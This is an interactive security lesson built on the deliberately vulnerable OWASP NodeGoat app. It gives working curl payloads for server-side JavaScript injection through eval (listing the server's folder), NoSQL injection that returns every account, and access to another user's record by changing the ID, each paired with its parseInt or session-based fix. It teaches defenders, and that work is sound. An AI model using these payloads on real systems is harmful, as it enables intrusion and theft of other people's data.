Easier to read with cream paper, a tint, more contrast or larger text? Choose your colours and text, once, for every page.

Free lesson

NodeGoat Basics

The whole lesson is free and interactive. Read it here, or press Start lab to run it for real in a live lab, with no account needed.

Container lab11 min read8 commands

A form that does sums

A pension website asks what percentage of your pay to save. You type 5. What if you typed 2*3, and the website worked it out? Then it is running what you type as code. On a real server that code could read files, secrets and other people's data.

The one rule

Warning

This lab runs a website that is insecure on purpose. Attack it, and nothing else. It is your own private copy with no way out to the internet, so nobody else can be affected. Never try these things on a site that is not yours: in the UK that is a crime under the Computer Misuse Act 1990.

By the end of this lesson

Note

I can explain why a server must never treat what a user sends as code.

Key words

  • Server: the computer that runs the website.
  • Injection: getting your text run as code.
  • eval: a JavaScript command that runs text as code.
  • NoSQL database: a database that stores records as documents, such as MongoDB.
  • Object reference: the number in an address that picks a record.
  • Fix: the change to the code that stops the attack.

Starter: what you already know

Note

Answer in your head. 1. What does a web form send to the server? 2. What does a cookie let a website remember? 3. In SQL injection, what does the attacker change? Answers: the text you typed; that you signed in; the question sent to the database.

Before you start

Note

Press Start the lab on the bar at the top of this lesson and wait until it says it is running. The website is the service called nodegoat, on port 4000. In a browser it opens from the OWASP NodeGoat link on the bar. Each Run button below types its command into your lab's terminal, one after another in the same session. To watch them, or to type your own, press Open terminal on the bar.

Sign in as user1

The command signs in and keeps the sign-in in a file called jar, as a browser keeps a cookie. It prints 302 http://nodegoat:4000/dashboard: the site accepted the password and sent you on to the dashboard. Every command after this one sends the cookie.

Command
curl -s -c jar -d "userName=user1&password=User1_123" -o /dev/null -w "%{http_code} %{redirect_url}\n" http://nodegoat:4000/login

Shown here, not run. Press Start lab to type it into your own lab’s terminal.

Contributions runs what you type

The Contributions page saves three percentages. The first command sends 2*3 as the first one, and the page shows 6 %: the server worked out the sum. It passes your text to eval. The second command sends code that lists the server's own folder. It prints app, config, node_modules, server.js and more. You asked for a file list and the server ran it.

Command
curl -s -b jar --data-urlencode "preTax=2*3" -d "roth=0&afterTax=0" http://nodegoat:4000/contributions | grep -o "<td>[0-9]* %</td>"

Shown here, not run. Press Start lab to type it into your own lab’s terminal.

Command
curl -s -w "\n" -b jar --data-urlencode "preTax=res.end(require('fs').readdirSync('.').join(' '))" -d "roth=0&afterTax=0" http://nodegoat:4000/contributions

Shown here, not run. Press Start lab to type it into your own lab’s terminal.

The fix reads a number, never code

NodeGoat writes the fix beside the weakness. This reads it from the server's source: lines 38 to 40 use parseInt, which turns text into a whole number. 2*3 becomes 2, and code becomes NaN, not a number, which the page refuses. Nothing you type is run.

Command
docker exec nodegoat grep -n "parseInt(req.body" app/routes/contributions.js

Shown here, not run. Press Start lab to type it into your own lab’s terminal.

Check

Tip

Why did 2*3 come back as 6 %? Answer: the server ran the text with eval instead of reading it as a number.

A query built from your text

Allocations has a stocks threshold box. The server pastes it inside a JavaScript test the database runs on every record. With 0 it shows John Doe, your own account. The second command ends the text with ' and adds ? 1 : '1, which makes the test true for every record. It shows all three accounts: John Doe, Node Goat Admin and Will Smith.

Command
curl -s -b jar -G http://nodegoat:4000/allocations/2 --data-urlencode "threshold=0" | grep -o "Asset Allocations for [A-Za-z ]*"

Shown here, not run. Press Start lab to type it into your own lab’s terminal.

Command
curl -s -b jar -G http://nodegoat:4000/allocations/2 --data-urlencode "threshold=0' ? 1 : '1" | grep -o "Asset Allocations for [A-Za-z ]*" | sort

Shown here, not run. Press Start lab to type it into your own lab’s terminal.

Change the number in the address

You are user1, whose number is 2. The first command asks for /allocations/3, and the site shows Will Smith: somebody else's savings. It trusted the number in the address. The second reads both fixes. Line 70 makes the threshold a number with parseInt. Line 14 takes your number from your session, which you cannot change, not from the address.

Command
curl -s -b jar http://nodegoat:4000/allocations/3 | grep -o "Asset Allocations for [A-Za-z ]*"

Shown here, not run. Press Start lab to type it into your own lab’s terminal.

Command
docker exec nodegoat grep -n -e "parsedThreshold =" -e "= req.session" app/data/allocations-dao.js app/routes/allocations.js

Shown here, not run. Press Start lab to type it into your own lab’s terminal.

A common mistake

Warning

Many people think a NoSQL database cannot be injected because there is no SQL. It can. Whenever a server builds a query by pasting in what a user typed, that text can change the query. Here the query was JavaScript, so the attack was too. Keep user text as a value: a number, or a field in an object.

Exit check

Tip

Answer without looking back. 1. What does eval do with text? 2. How does parseInt stop the attack? 3. Why did the threshold return every account? 4. Where should a page take your account number from? Answers: runs it as code; it keeps only a number; the text was pasted into the query; your session, not the address.

For teachers

Tip

This lesson is a small example of a lesson worked in a lab: the steps and the Run buttons are the lesson, and the lab is each student's own copy. The lab is OWASP NodeGoat and its MongoDB database, and NodeGoat has more weaknesses than this: cross-site scripting, CSRF, an open redirect at /learn, an admin page any account can open at /benefits, and its own Tutorial Guide at /tutorial. Nothing is marked for you. Key learning points: 1. A server must never run what a user sends. 2. A query built from user text can be changed, SQL or not. 3. A page must check whose record it shows. Common mistake: thinking NoSQL cannot be injected. Equipment: the lab and a browser. Tip: read each fix aloud after its attack, so the fix is what is remembered. Copy it into your own module and change it, or build one from scratch with the Lab menu in the lesson builder.

About this lab and its source: NodeGoat lab: the OWASP Top 10 in a vulnerable Node.js and MongoDB application

Teaching a class? Set these lessons for your students with marking and a lab for every student.